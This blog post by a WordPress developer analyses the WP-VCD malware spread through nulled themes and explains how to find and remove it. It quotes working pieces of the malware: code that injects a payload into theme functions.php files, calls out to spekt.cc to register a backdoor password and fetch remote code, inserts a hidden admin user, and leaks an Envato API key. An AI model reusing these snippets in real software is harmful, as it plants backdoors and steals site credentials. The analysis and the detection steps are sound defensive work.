WordPress WP-VCD malware attack — Comprehensive Guide & Solution
Howdy,
This is my first Medium post.
My name is Ian Arman, I’m a professional WordPress Designer/Developer. I’m mostly self-taught having learned about WordPress by simply taking it apart, and putting it back together (hundreds of times)!
If you find this post useful, bookmark this story, and be sure to clap!
One of the websites I run has a few Google AdWords campaigns associated with it and was recently infected with the WP-VCD Malware (yea, go ahead and judge me, but here’s how to completely remove it).
Thanks to Google for informing me about this issue.
I spent a lot of time researching this particular piece of malware since it kept cropping up. I even wrote a cronjob which scans for the malware every minute.
The infectious WP-VCD malware typically comes from a user seeking to download a free theme, which is otherwise a paid theme.
The deployment process works as follows:
The nulled theme contains one of the following two files
class.theme-modules.php
class.plugin-modules.php
The .php files contain the same Base64 encrypted code string, which is decrypted twice (once by the class.(theme/plugin)-module.php) file and the second time to ensure the malware is properly injected into functions.php
.
The malware generates an MD5 checksum of the sites URL (an example of this can be seen below) along with the WordPress AUTH_SALT constraint.
The AUTH_SALT constraint is generated during the WordPress installation and located in wp-config.php
echo https://www.example.com | md5sum
The malware then “Phones Home” to the current Command and Control server and registers itself with the backdoor password, which is generated with the resulting MD5 Hash of the infected sites URL and the AUTH_SALT constraint, listed in wp-config.php
.
The resulting password is located in the first line of the modified functions.php
.
The website can be seen “Phoning Home” to the Command and Control server by simply installing PIHOLE, a publically available AdBlocker, which also has a WebGUI and has the ability to log all DNS queries.
curl -sSL https://install.pi-hole.net | bash
The main symptom of wp-vcd malware are spam popups, creates Spam URLs on the website.
The malware is even crafty enough to track the WordPress Admin’s IP Address, inside a file called wp-feed.php
so not to show the Admin IP the spam popups! (more on that later)
Some variants of the malicious codes have been seen to modify core WordPress files and also add new files in the /wp-includes directory.
- The malware creates a backdoor which allows hackers to have access to your website for extended periods
- Hackers are able to exploit vulnerabilities in WordPress plugins & themes to upload the wp-vcd malware on vulnerable sites.
Here’s a simple script which can check for the file every minute and append an update to malware.scan.txt
with the results:
I created a file called malware.scan.sh
and placed it in a folder called quarantine
and added the script to my cronjobs
which runs every minute
Here are the contents of the script
#!/bin/bash
if [ -f /var/www/wordpress/wp-includes/wp-temp] ; then echo code injection $(date) >> /root/malware.scan.txt ; else echo no ; fi
Here’s what the cronjob listing should look like:
* * * * * /root/quarantine/malware.scan.sh
Rakshit Shah, posted the following article on medium although I thought I’d update with a few more steps since the malware kept popping back up
In Rakshit’s Medium Article he recommends conducting a WordFence Scan. Here’s a couple of other tips too:
https://www.wordfence.com/docs/how-to-clean-a-hacked-wordpress-site-using-wordfence/
grep -ril base64 *
This will just list the file names. You can omit the ‘l’ option to see the actual contents of the file where the base64 string occurs:
In my case, the following file was found
wp-vcd.php
grep -ri base64 *
Keep in mind that “base64” can occur in legitimate code as well. Before you delete anything, you’ll want to make sure that you are not deleting a file that is being used by a theme or plugin on your site. A more refined search could look like this:
In my case, GREP found the following code string:
install_code = str_replace('{$PASSWORD}',$install_hash, base64_decode($install_code));
grep --include=*.php -rn . -e "base64_decode"
This command searches all files recursively that end with .php for the string “base64_decode” and prints the line number so that you can more easily find the context that the string occurs in.
In my case, GREP found the following code string:
./wp-vcd.php:10: $install_code =str_replace('{$PASSWORD}', $install_hash, base64_decode( $install_code ));
Here’s what the malware does:
Upon inspecting wp-vcd.php
and wp-tmp.php
which are both located in the wp-includes directory.
The wp-tmp.php file calls two malicious encoded javascripts
deloplen.com/apu.php?zoneid=2933250
https://pushlaram.com/pfe/current/tag.min.js?z=2933260" data-cfasync=”false” async></script>
The wp-tmp.php file also controls whether or not the user is redirected.
The conditions are: if the user can edit WordPress pages, their IP is then logged to wp-feed.php, and a cookie placed in their browser cache
If the HTTP_REFERRER is from one of the following domains:
‘google.’,’/search?’,’images.google.’, ‘web.info.com’, ‘search.’,’yahoo.’,’yandex’,’msn.’,’baidu’,’bing.’,’doubleclick.net’,’googleweblight.com’);
A cookie is placed in their browser cache. The redirect appears to be controlled by the following URL and script:
deloplen.com/apu.php?zoneid=2933250
Here was my testing:
I used a Tor browser, and browsed to
deloplen.com/apu.php?zoneid=2933250
I was then redirected to: http://wowreality.info/?wm=gr
A few hours later (after posting this medium article), I returned to the same website (deloplen.com/apu.php……), and then was redirected to what appears to be javascript code injection:
The pushlaram.com script can be viewed here.
I was able to successfully decode this script using the following website:
MalwareDecode.com
Here is a sample of the decoded encrypted code:
The function of the wp-vcd.php appears to be to install the injected code into functions.php.
The malware first installs a base64 encoded string into the functions.php file in all the installed (even disabled) WordPress Themes.
$install_code = ‘PD9waHAKaWYgKGlzc2V0KCRfUkVRVUVTVFs…….
The injected wp-vcd.php file starts with a long base64 encoded string named $install_code shown above
$install_code = 'c18615a1ef0e1cd813b388b4b6e29bcdc18615a1ef0e1cd813b388b4b6e29bcd[...Blah blah blah..]
$install_hash = md5($_SERVER['HTTP_HOST'] . AUTH_SALT);
$install_code = str_replace('{$PASSWORD}' , $install_hash, base64_decode( $install_code ));
This file injects the code of this encoded string inside the theme’s functions.php, taking care of resetting the modification date and time
In my case the modified file was:
/var/www/wordpress/wp-content/themes/Divi/Divi/functions.php
What is Base64?
In computer science, Base64 is a way of encoding ASCII TEXTI (php code in this case) into a long encoded string.
Fortunately, this long string can be decoded easily enough, using the following website
You can find the file wp-vcd.php by using the find command I’ve posted below. Once you find the file you can inspect the base 64 code, which should be line #7.
Just copy/paste the string into the link below, and click ‘decode’
The base64 encoded string is then actually 184 lines of PHP code, which is then injected into the top of functions.php in each of the themes both enabled or disabled.
You can download the sample wp-vcd malware file on GitHub
if ($content = file_get_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR . 'functions.php')){
if (strpos($content, 'WP_V_CD') === false){
$content = $install_code . $content ;
@file_put_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR . 'functions.php', $content);
touch( $themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR . 'functions.php' , $time );
}
else { $ping = false; }
}
then it populates remotely a database/array of hostnames and passwords of the code injections via test.php and downloads the content of a remote txt file inside class.wp.php
if ($ping) { $content = @file_get_contents(‘http://www.spekt.cc/test.php?host=' . $_SERVER[“HTTP_HOST”] . ‘&password=’ . $install_hash); @file_put_contents(ABSPATH . ‘/wp-includes/class.wp.php’, file_get_contents(‘http://www.spekt.cc/admin.txt')); }if ($ping2) { $content = @file_get_contents(‘http://www.spekt.cc/test.php?host=' . $_SERVER[“HTTP_HOST”] . ‘&password=’ . $install_hash); @file_put_contents(ABSPATH . ‘wp-includes/class.wp.php’, file_get_contents(‘http://www.spekt.cc/admin.txt'));//echo ABSPATH . ‘wp-includes/class.wp.php’; }
Sample ../wp-includes/class.wp.php
class.wp.php tries to inject a user inside the wp db
$wpdb->query(“INSERT INTO $wpdb->users (`ID`, `user_login`, `user_pass`, `user_nicename`, `user_email`, `user_url`, `user_registered`, `user_activation_key`, `user_status`, `display_name`) VALUES (‘100011111’, ‘100011111’, ‘\$P\$c18615a1ef0e1cd813b388b4B6e29bcd.’, ‘100011111’, ‘spekt@spekt.cc’, ‘’, ‘2010–06–07 00:00:00’, ‘’, ‘0’, ‘100010010’)”);
And messes with an Envato Market Wordpress Toolkit API key, probably as a way to update themes.
if( isset($_GET[‘key’]) ) { $options = get_option( EWPT_PLUGIN_SLUG ); echo ‘<center><h2>’ . esc_attr( $options[‘user_name’] . ‘:’ . esc_attr( $options[‘api_key’])) . ‘<br>’; echo esc_html( envato_market()->get_option( ‘token’ ) ); echo ‘</center></h2>’; } }
Then injects the content of another remote txt file, codecxc.txt inside the temporary php directory.
function wp_temp_setupx($phpCode)
{
$tmpfname = tempnam(sys_get_temp_dir(), “wp_temp_setupx”);
$handle = fopen($tmpfname, “w+”);
fwrite($handle, “<?php\n” . $phpCode);
fclose($handle);
include $tmpfname; unlink($tmpfname);
return get_defined_vars();
}
From the research, the majority of the domains the malware script calls, are no longer in operation or have the A record removed.
You can check this for yourself, by using the following website and lookup up the A record:
How to remove the malware.
I highly recommend creating the cronjob I mentioned earlier, it will probably save you a big headache.
You’ll then need to install “WordFence”, and start a scan.
The WordFence database knows exactly what each WordPress file should look like (assuming they haven’t been modified for legitimate purposes, thus creating false positives).
Once the scan is complete, it will list the offending files. You’ll want to remove them (although take a backup just in case, the wrong file is removed).